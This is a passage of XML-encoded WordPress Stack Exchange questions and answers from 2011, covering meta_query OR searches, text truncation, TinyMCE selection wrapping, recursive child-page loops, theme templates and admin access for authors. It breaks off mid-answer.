  <row Id="13661" PostTypeId="2" ParentId="13660" CreationDate="2011-03-31T19:28:29.343" Score="1" ViewCount="" Body="&lt;p&gt;Just look at the examples in the WordPress Codex for:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_schedule_event&quot; rel=&quot;nofollow&quot;&gt;wp_schedule_event&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_schedule_single_event&quot; rel=&quot;nofollow&quot;&gt;wp_schedule_single_event&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-03-31T19:28:29.343" CommentCount="3" />
  <row Id="13663" PostTypeId="1" AcceptedAnswerId="13686" CreationDate="2011-03-31T20:28:23.740" Score="0" ViewCount="60" Body="&lt;p&gt;I was helped not long ago with a form of custom truncating by &lt;a href=&quot;http://wordpress.stackexchange.com/users/73/toscho&quot;&gt;Toscho&lt;/a&gt; on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11085/truncating-custom-fields&quot;&gt;this post&lt;/a&gt; it works very well but I'm finding that I need to create multiple length variations for different bits of content. For instance on my support page I need to 80 max_chars vs. my home page which I need 200 max_chars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding a second instance of this function but unsurprisingly it totally killed other aspects of my site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always, any help would be appreciated. Thanks guys!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function utf8_truncate( $string, $max_chars = 200, $append = &quot;\xC2\xA0…&quot; )&#xA;{&#xA;    $string = strip_tags( $string );&#xA;    $string = html_entity_decode( $string, ENT_QUOTES, 'utf-8' );&#xA;    // \xC2\xA0 is the no-break space&#xA;    $string = trim( $string, &quot;\n\r\t .-;–,—\xC2\xA0&quot; );&#xA;    $length = strlen( utf8_decode( $string ) );&#xA;&#xA;    // Nothing to do.&#xA;    if ( $length &amp;lt; $max_chars )&#xA;    {&#xA;        return $string;&#xA;    }&#xA;&#xA;    // mb_substr() is in /wp-includes/compat.php as a fallback if&#xA;    // your the current PHP installation doesn't have it.&#xA;    $string = mb_substr( $string, 0, $max_chars, 'utf-8' );&#xA;&#xA;    // No white space. One long word or chinese/korean/japanese text.&#xA;    if ( FALSE === strpos( $string, ' ' ) )&#xA;    {&#xA;        return $string . $append;&#xA;    }&#xA;&#xA;    // Avoid breaks within words. Find the last white space.&#xA;    if ( extension_loaded( 'mbstring' ) )&#xA;    {&#xA;        $pos   = mb_strrpos( $string, ' ', 'utf-8' );&#xA;        $short = mb_substr( $string, 0, $pos, 'utf-8' );&#xA;    }&#xA;    else&#xA;    {&#xA;        // Workaround. May be slow on long strings.&#xA;        $words = explode( ' ', $string );&#xA;        // Drop the last word.&#xA;        array_pop( $words );&#xA;        $short = implode( ' ', $words );&#xA;    }&#xA;&#xA;    return $short . $append;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-04-01T03:47:08.760" Title="Truncating varying lengths of information" Tags="&lt;customization&gt;&lt;excerpt&gt;&lt;characters&gt;" AnswerCount="1" />
  <row Id="13664" PostTypeId="1" AcceptedAnswerId="13681" CreationDate="2011-03-31T20:30:27.723" Score="4" ViewCount="451" Body="&lt;p&gt;I'm trying to create a search results listing for a custom post type and the problem I'm running in to is with the way the 'meta_query' parameter is stringing the passed values together.  It appears to be treating each 'meta_query' value as an 'AND' rather than 'OR'.  Here is the code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$strsearch = 'lorem';&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'products',&#xA;    'meta_query' =&amp;gt; array(&#xA;        array('key' =&amp;gt; '_product_make','compare' =&amp;gt; 'LIKE','value' =&amp;gt; $strsearch),&#xA;        array('key' =&amp;gt; '_product_model','compare' =&amp;gt; 'LIKE','value' =&amp;gt; $strsearch)&#xA;        )&#xA;    ,'s' =&amp;gt; $strsearch);&#xA;$resource_query = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I search anyone of the fields individually I get the desired results.  When I use them together it comes up as not found since the string I'm searching for may only occur in one of the three fields listed below.  Is there any way to have 'meta_query' treat each of the passed field comparisons as 'OR'?&lt;/p&gt;&#xA;" OwnerUserId="3032" LastActivityDate="2011-06-30T11:09:34.550" Title="Search multiple custom fields by using meta_query" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;wp-query&gt;&lt;customization&gt;&lt;search&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="13665" PostTypeId="2" ParentId="6832" CreationDate="2011-03-31T20:44:52.313" Score="0" ViewCount="" Body="&lt;p&gt;Setting the slug paramter to false doesn't seem to work for me in WP 3.1. It still adds the slug of the custom post name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By setting slug to '/', that seems to set the url correctly (without a slug). Like this: 'rewrite' =&gt; array('slug' =&gt; '/', 'with_front' =&gt; false). But then I get a 404 when trying to load it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this? It seems like you need a slug with custom post types.&lt;/p&gt;&#xA;" OwnerUserId="4356" LastActivityDate="2011-03-31T20:44:52.313" CommentCount="1" />
  <row Id="13666" PostTypeId="2" ParentId="13659" CreationDate="2011-03-31T20:58:36.897" Score="0" ViewCount="" Body="&lt;p&gt;In the TinyMCE plugin i wrote, my listbox wraps selected text in HTML, i do that like this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onselect : function(v) {&#xA;    // Set focus to WordPress editor&#xA;    ed.focus(); &#xA;&#xA;    // Get selected text&#xA;    var sel_txt = ed.selection.getContent();&#xA;&#xA;    // If no text selected&#xA;    if( '' == sel_txt )&#xA;        return null;&#xA;&#xA;    var active_style = toggle_styles[v];&#xA;    if( 'undefined' == active_style || typeof( active_style ) != 'object' )&#xA;        return null;&#xA;&#xA;    tinyMCE.activeEditor.execCommand( 'mceInsertContent', false, '&amp;lt;'+active_style.tag+' class=&quot;'+active_style.classes+'&quot;&amp;gt;'+sel_txt+'&amp;lt;/'+active_style.tag+'&amp;gt; ' );&#xA;    //alert( tinyMCE.activeEditor.selection.getNode().nodeName );&#xA;    return false;&#xA;} // close onselect function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might notice my function is reading in some data from a JS var, that won't be available inside your own script, but here's a basic trimmed down version that should work for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onselect : function(v) {&#xA;    // Set focus to WordPress editor&#xA;    ed.focus(); &#xA;&#xA;    // Get selected text&#xA;    var sel_txt = ed.selection.getContent();&#xA;&#xA;    // If no text selected&#xA;    if( '' == sel_txt )&#xA;        return null;&#xA;&#xA;    tinyMCE.activeEditor.execCommand( 'mceInsertContent', false, '&amp;lt;div class=&quot;someclass&quot;&amp;gt;'+sel_txt+'&amp;lt;/div&amp;gt; ' );&#xA;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just to make sure i've been clear, the above would replace the following part of your code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onselect : function(v) {&#xA;    tinyMCE.activeEditor.windowManager.alert('Value selected:' + v);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps... :)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Follow-up #1&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you're creating your own TinyMCE instance and not just adding to the WordPress instance the &lt;code&gt;ed&lt;/code&gt; var possibly won't be set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set focus to WordPress editor&#xA;ed.focus(); &#xA;&#xA;// Get selected text&#xA;var sel_txt = ed.selection.getContent();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for.. (off the top of my head)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var sel_txt = tinyMCE.activeEditor.selection.getContent();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See if that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-01T16:56:11.497" LastActivityDate="2011-04-01T16:56:11.497" CommentCount="4" />
  <row Id="13669" PostTypeId="1" AcceptedAnswerId="13678" CreationDate="2011-03-31T21:28:10.163" Score="1" ViewCount="227" Body="&lt;p&gt;I have a need to make the Loop run through all of the children of a parent, all of the children of each child, etc. The reason I need the Loop instead of a listing tag like wp_list_pages is so that I can display any information associated with the pages using WP template tags and functions. It's for a showcase-style display that has hierarchical content and gets rearranged, so pages &gt; posts for this usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gotten as far as getting the loop to show children of the current page and an inner loop going to show grandchildren, but this is just a brute-force prototype, and I need to take it to the next level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I think I need to do is use 1 loop that starts with post_parent (so that it shows child pages) but insert a function to change the post ID to each child page found so that the loop continues to drill down until it runs out, then backs out 1 level, goes to the next available ID, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I'm not enough of a WP programmer (or real programmer at all) to get that going. If it were all out in code I bet I could work it out, but WP has obviously got hidden functions going with have_post and the_post to cycle through the available post IDs, and that has me lost as to how to integrate what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's where I am at the moment. Any help will be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   &#xA;$args = array(&#xA;'posts_per_page' =&amp;gt; -1,&#xA;'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;'post_type' =&amp;gt; 'page',&#xA;'post_status' =&amp;gt; '',&#xA;'orderby' =&amp;gt; 'title',&#xA;'order' =&amp;gt; 'ASC',);&#xA;&#xA;query_posts($args); ?&amp;gt;&#xA;&#xA;&amp;lt;?php if(have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink();?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;:&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;?php     $inner_query = new WP_Query(&quot;post_type=page&amp;amp;posts_per_page=-1&amp;amp;post_parent={$id}&amp;amp;order_by=title&amp;amp;order=ASC&quot;); ?&amp;gt;&#xA;&#xA;&amp;lt;?php while ($inner_query-&amp;gt;have_posts()) : $inner_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink();?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;:&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; // end inner loop ?&amp;gt;&#xA;&amp;lt;?php endwhile; //end outer loop ?&amp;gt;     &#xA;&amp;lt;?php endif; // end outer if have_posts?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2011-04-05T20:24:14.123" Title="Using the Loop to show all levels of subpages under a parent page? Halfway there" Tags="&lt;loop&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="13670" PostTypeId="1" AcceptedAnswerId="13680" CreationDate="2011-03-31T21:34:35.727" Score="0" ViewCount="161" Body="&lt;p&gt;I have a custom query to display random posts in my sidebar like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$newQuery = array(&#xA;     'post__in'  =&amp;gt; get_option('sticky_posts'),&#xA;     'post_type' =&amp;gt; 'ad_listing',&#xA;     'posts_per_page' =&amp;gt; 10,&#xA;     'orderby' =&amp;gt; 'rand',&#xA;     'post_status' =&amp;gt; 'publish');&#xA;&#xA;// Get new set of ads&#xA;$smStickyPosts = new WP_Query($newQuery);&#xA;&#xA;if ($smStickyPosts-&amp;gt;have_posts()) : while($smStickyPosts-&amp;gt;have_posts() : $smStickyPosts-&amp;gt;the_post();&#xA;    //Display posts&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine in all pages, except on the search page, for some reason the first post on the list is always the post that coincides with the search term (for example, if I search for foo and I have a post with the title &quot;foo&quot; it will show first followed by 9 random posts), it's like the search term is getting passed to the custom loop as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I noticed that if I search for something that doesn't find any results the posts are always the same, it's like the orderby =&gt; rand is not doing anything, it works fine on the rest of the site though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what could be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3893" LastEditorUserId="3893" LastEditorDisplayName="" LastEditDate="2011-03-31T21:40:34.957" LastActivityDate="2011-04-01T00:46:54.900" Title="Problem with WP_Query loop and search term" Tags="&lt;widgets&gt;&lt;loop&gt;&lt;customization&gt;&lt;search&gt;&lt;ads&gt;" AnswerCount="1" />
  <row Id="13671" PostTypeId="1" AcceptedAnswerId="13675" CreationDate="2011-03-31T22:31:49.070" Score="0" ViewCount="232" Body="&lt;p&gt;I'm using the TwentyTen theme to create a child theme, but I can't seem to get rid of the 'One column, no sidebar' page template that is in the TwentyTen parent theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought just copying it over and deleting the contents would do the trick, but it seems not. Does anyone know how to do this? I'm sure it's very simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;osu&lt;/p&gt;&#xA;" OwnerUserId="2685" LastActivityDate="2011-03-31T23:38:21.517" Title="How to *remove* a parent theme page template from a child theme?" Tags="&lt;3.1&gt;&lt;page-template&gt;&lt;child-theme&gt;&lt;parent-theme&gt;" AnswerCount="1" />
  <row Id="13672" PostTypeId="2" ParentId="13263" CreationDate="2011-03-31T22:39:21.893" Score="2" ViewCount="" Body="&lt;p&gt;Ran into the same issue. @Patriek is correct. The 'taxonomies' argument must be an array, hence the plural. E.g. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$args = array( 'taxonomies' =&amp;gt; array( 'myTaxonomy' ) );&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This corrects the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only noticed this when moving a site to another server which leads me to think the register_post_type() function requires some php settings not enabled on the remote host. register_globals is enabled... any ideas what make this issue server dependent? &lt;/p&gt;&#xA;" OwnerUserId="4359" LastActivityDate="2011-03-31T22:39:21.893" />
  <row Id="13673" PostTypeId="1" AcceptedAnswerId="13766" CreationDate="2011-03-31T22:45:36.643" Score="0" ViewCount="139" Body="&lt;p&gt;My future posts are going missed. They are not getting published on the time they should, and it says &quot;Missed Schedule&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read somewhere that it could be a server issue, so how can I fix it? &lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-04-02T19:44:03.130" Title="Missed schedule" Tags="&lt;scheduled-posts&gt;" AnswerCount="2" />
  <row Id="13675" PostTypeId="2" ParentId="13671" CreationDate="2011-03-31T23:38:21.517" Score="3" ViewCount="" Body="&lt;p&gt;Overriding that template would be much easier than getting rid of it. Just the way logic goes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I make no claim it's efficient idea (late here), but this would get it nuked from edit screen:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_head-post.php','remove_template');&#xA;&#xA;function remove_template() {&#xA;&#xA;    global $wp_themes;&#xA;&#xA;    get_themes();&#xA;    $templates = &amp;amp;$wp_themes['Twenty Ten']['Template Files'];&#xA;    $template = trailingslashit( TEMPLATEPATH ).'onecolumn-page.php';&#xA;    $key = array_search($template, $templates);&#xA;    unset( $templates[$key] );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-31T23:38:21.517" CommentCount="3" />
  <row Id="13676" PostTypeId="2" ParentId="13673" CreationDate="2011-03-31T23:53:05.117" Score="1" ViewCount="" Body="&lt;p&gt;Try the &lt;a href=&quot;http://arielbustillos.com/missed-schedule/&quot; rel=&quot;nofollow&quot;&gt;Missed Schedule plugin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3736" LastActivityDate="2011-03-31T23:53:05.117" CommentCount="1" />
  <row Id="13677" PostTypeId="1" CreationDate="2011-03-31T23:54:31.683" Score="0" ViewCount="69" Body="&lt;p&gt;I have a WP-site with not that many writes, but quite a few reads and a few specific hotspots in the templates that I'd like to cache pretty aggressively with my own PHP-caching mechanism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could implement this with a time-based cache expiration scheme, but as I'm sure Wordpress provides all the API I need for listening to different events, I could also hook into them for info on when I need to clear caches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm a bit lost on the whole hooks / filters -thingy of Wordpress. I can add listeners to hooks easily enough, but I'm just a bit too overwhelmed with the amount of hooks available, so my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What hooks should I hook into to basically be able to execute a script upon every INSERT / UPDATE / DELETE operation on the posts-table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers on the way onward are much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3852" LastActivityDate="2011-04-02T11:07:50.147" Title="What hooks to hook onto for automatic cache clearing" Tags="&lt;filters&gt;&lt;hooks&gt;&lt;cache&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="13678" PostTypeId="2" ParentId="13669" CreationDate="2011-04-01T00:08:08.210" Score="0" ViewCount="" Body="&lt;p&gt;Sounds like you're looking for a recursive function, ie a function that calls itself. Here's a rough outline of how it can be done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse13669_show_all_children( $post_id, $current_level ) {&#xA;    $children = get_posts( array(&#xA;        'post_type' =&amp;gt;'page',&#xA;        'posts_per_page' =&amp;gt;-1,&#xA;        'post_parent' =&amp;gt; $post_id,&#xA;        'order_by' =&amp;gt; 'title',&#xA;        'order' =&amp;gt; 'ASC' ) );&#xA;    if ( empty($children) ) return;&#xA;&#xA;    echo '&amp;lt;ul class=&quot;children level-'.$current_level.'-children&quot;&amp;gt;';&#xA;&#xA;    foreach ($children as $child) {&#xA;&#xA;        /* Here would be the point where you&#xA;            do whatever you want to display the &#xA;            posts. The variable $current_level can&#xA;            be used if you want to style different &#xA;            levels in the hierarchy differently */&#xA;&#xA;            echo '&amp;lt;li&amp;gt;';&#xA;&#xA;        echo '&amp;lt;a href=&quot;'.get_permalink($child-&amp;gt;ID).'&quot;&amp;gt;';&#xA;        echo apply_filters( 'the_title', $child-&amp;gt;post_title );&#xA;        echo '&amp;lt;/a&amp;gt;';&#xA;&#xA;        // now call the same function for child of this child&#xA;        wpse13669_show_all_children( $child-&amp;gt;ID, $current_level+1 );&#xA;&#xA;            echo '&amp;lt;/li&amp;gt;';&#xA;&#xA;        }&#xA;&#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: edited my code to show the kind of nested &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; lists it sounds like you're looking for. If you want to see how WordPress does stuff like this internally (its a lot more complicated than this, but worth figuring out if you need to do anything really custom in your code), you should look through the source code for the&lt;/em&gt; &lt;a href=&quot;http://xref.yoast.com/trunk/wp-includes/class-wp-walker.php.source.html&quot; rel=&quot;nofollow&quot;&gt;class-wp-walker.php&lt;/a&gt; &lt;em&gt;file, where the Walker class that handles all the various nested lists (menus, comments, page lists, etc) throughout WP.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you define that function with the output structure you want and just call it from within your loop, it should do what you're looking for. I put a $current_level variable in there just so that you can easily style children different from grand-children, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(within your main loop)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wpse13669_show_all_children( $post-&amp;gt;ID, 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-04-05T20:24:14.123" LastActivityDate="2011-04-05T20:24:14.123" CommentCount="14" />
  <row Id="13679" PostTypeId="1" AcceptedAnswerId="13687" CreationDate="2011-04-01T00:26:39.563" Score="0" ViewCount="126" Body="&lt;p&gt;I just created a custom post type named Catalog. Where authors can create as many entries they need. But I need to restrict/deny access to all admin parts: Posts, Profile, Media or other admin parts except their Catalog entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to compare against $_SERVER['REQUEST_URI'] or theres a better way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-04-01T10:33:10.797" LastActivityDate="2011-04-01T10:33:10.797" Title="Disable all admin UI access to authors (except to custom post type add, edit and modify)" Tags="&lt;user-access&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13680" PostTypeId="2" ParentId="13670" CreationDate="2011-04-01T00:46:54.900" Score="0" ViewCount="" Body="&lt;p&gt;Suggest you have a look at &lt;a href=&quot;http://wordpress.org/support/topic/passing-current-single_tag_title-as-variable-into-new-wp_query&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/passing-current-single_tag_title-as-variable-into-new-wp_query&lt;/a&gt; - I suspect the very last comment which covers both backing up and reseting your query will help.&lt;/p&gt;&#xA;" OwnerUserId="4311" LastActivityDate="2011-04-01T00:46:54.900" CommentCount="1" />
  <row Id="13681" PostTypeId="2" ParentId="13664" CreationDate="2011-04-01T01:36:51.840" Score="3" ViewCount="" Body="&lt;p&gt;Yes, since WP 3.2 you can set the 'relation' arg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'meta_query' =&amp;gt; array(&#xA;    'relation' =&amp;gt; 'OR',&#xA;    array('key' =&amp;gt; '_product_make','compare' =&amp;gt; 'LIKE','value' =&amp;gt; $strsearch),&#xA;    array('key' =&amp;gt; '_product_model','compare' =&amp;gt; 'LIKE','value' =&amp;gt; $strsearch)&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://core.trac.wordpress.org/ticket/17011&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/17011&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-06-30T11:09:34.550" LastActivityDate="2011-06-30T11:09:34.550" CommentCount="4" />
  <row Id="13685" PostTypeId="2" ParentId="13611" CreationDate="2011-04-01T03:08:37.283" Score="1" ViewCount="" Body="&lt;p&gt;So, i have figured out my problem, and come up with this function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function getCustomTaxonomy($posttype,$taxonomy)&#xA;{&#xA;    $custompostsid = get_posts('post_type='.$posttype);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$i=0;&#xA;$j=0;&#xA;&#xA;foreach ($custompostsid as $post)&#xA;{  &#xA;    setup_postdata($post);&#xA;&#xA;    $customtags = wp_get_post_terms( $post-&amp;gt;ID , $taxonomy);&#xA;&#xA;        foreach ($customtags as $tag) &#xA;        {&#xA;            $tagid[$j]=$tag-&amp;gt;term_id; &#xA;            $j++;&#xA;        }&#xA;&#xA;    $i++;&#xA;}&#xA;&#xA;$alltagsid=array_unique($tagid);&#xA;&#xA;$blogurl=get_bloginfo('url');&#xA;&#xA;$nummberofelements=count($alltagsid);&#xA;&#xA;$k=0;&#xA;&#xA;foreach ($alltagsid as $onetagid)&#xA;{&#xA;&#xA; $array = get_term_by('id', $onetagid, $taxonomy, 'ARRAY_A'); &#xA; $tagname=print_r($array[name],true);&#xA; $tagcount=print_r($array[count],true);&#xA; $taglink=$blogurl.&quot;/?&quot;.$taxonomy.&quot;=&quot;.$tagname.&quot;&amp;amp;type=&quot;.$posttype;&#xA;&#xA; echo &quot;&amp;lt;a class='taxonomy-link' href='&quot;.$taglink.&quot;'&amp;gt;&quot;;&#xA;     echo $tagname.&quot; (&quot;.$tagcount.&quot;)&quot;;&#xA; echo &quot;&amp;lt;/a&amp;gt;&quot;;&#xA; $k++;&#xA;&#xA; if ($k&amp;lt;$nummberofelements) echo &quot;, &quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i works, but i know it's not the best way to do it... cos if you have a lot of post and tags, it could get havy... so i'm still searching, but until i find a better way, this should do it :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;feel free, to optimize the code ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards&lt;/p&gt;&#xA;" OwnerUserId="4344" LastActivityDate="2011-04-01T03:08:37.283" />
  <row Id="13686" PostTypeId="2" ParentId="13663" CreationDate="2011-04-01T03:47:08.760" Score="1" ViewCount="" Body="&lt;p&gt;I know toscho doesn't like this very much, but anyway: Converted the input args to an array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function utf8_truncate( $args = array( 'string' =&amp;gt; null, 'max_chars' =&amp;gt; 200, 'append' =&amp;gt; &quot;\xC2\xA0…&quot; ) )&#xA;{&#xA;    $args['string'] = strip_tags( $args['string'] );&#xA;    $args['string'] = html_entity_decode( $args['string'], ENT_QUOTES, 'utf-8' );&#xA;    // \xC2\xA0 is the no-break space&#xA;    $args['string'] = trim( $args['string'], &quot;\n\r\t .-;–,—\xC2\xA0&quot; );&#xA;    $length = strlen( utf8_decode( $args['string'] ) );&#xA;&#xA;    // Nothing to do.&#xA;    if ( $length &amp;lt; $args['max_chars'] )&#xA;    {&#xA;        return $args['string'];&#xA;    }&#xA;&#xA;    // mb_substr() is in /wp-includes/compat.php as a fallback if&#xA;    // your the current PHP installation doesn't have it.&#xA;    $args['string'] = mb_substr( $args['string'], 0, $args['max_chars'], 'utf-8' );&#xA;&#xA;    // No white space. One long word or chinese/korean/japanese text.&#xA;    if ( FALSE === strpos( $args['string'], ' ' ) )&#xA;    {&#xA;        return $args['string'] . $args['append'];&#xA;    }&#xA;&#xA;    // Avoid breaks within words. Find the last white space.&#xA;    if ( extension_loaded( 'mbstring' ) )&#xA;    {&#xA;        $pos   = mb_strrpos( $args['string'], ' ', 'utf-8' );&#xA;        $short = mb_substr( $args['string'], 0, $pos, 'utf-8' );&#xA;    }&#xA;    else&#xA;    {&#xA;        // Workaround. May be slow on long strings.&#xA;        $words = explode( ' ', $args['string'] );&#xA;        // Drop the last word.&#xA;        array_pop( $words );&#xA;        $short = implode( ' ', $words );&#xA;    }&#xA;&#xA;    return $short . $args['append'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This allows to use it like this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13063/how-to-inspect-global-variables-in-wordpress&quot;&gt;(you possibily missed how to use arrays anyway)&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;     'string' =&amp;gt; 'bla'&#xA;    ,'max_chars' =&amp;gt; 50 // INPUT LENGTH HERE&#xA;);&#xA;echo '&amp;lt;p&amp;gt;' . utf8_truncate( $args ) . '&amp;lt;/p&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also switch this on demand:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_page() )&#xA;{&#xA;    $args['max_chars'] = 100;&#xA;}&#xA;elseif ( is_archive() )&#xA;{&#xA;    $args['max_chars'] = 50;&#xA;}&#xA;elseif ( is_whatever() )&#xA;    ... etc ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-01T03:47:08.760" />
  <row Id="13687" PostTypeId="2" ParentId="13679" CreationDate="2011-04-01T05:44:45.133" Score="2" ViewCount="" Body="&lt;p&gt;This is more difficult than it needs to be it seems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To code it without using a plugin I would suggest using &lt;code&gt;global $menu&lt;/code&gt; and &lt;code&gt;global $submenu&lt;/code&gt; as an array and unset them based on user role or user name. It might get more difficult if you want to define user role permissions outside default values.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Roles_and_Capabilities&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the values in wp-admin/menu.php , you must look in here.&#xA;Or browse them here &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.1/wp-admin/menu.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/branches/3.1/wp-admin/menu.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if you want to unset a menu in a function it would be something along the lines 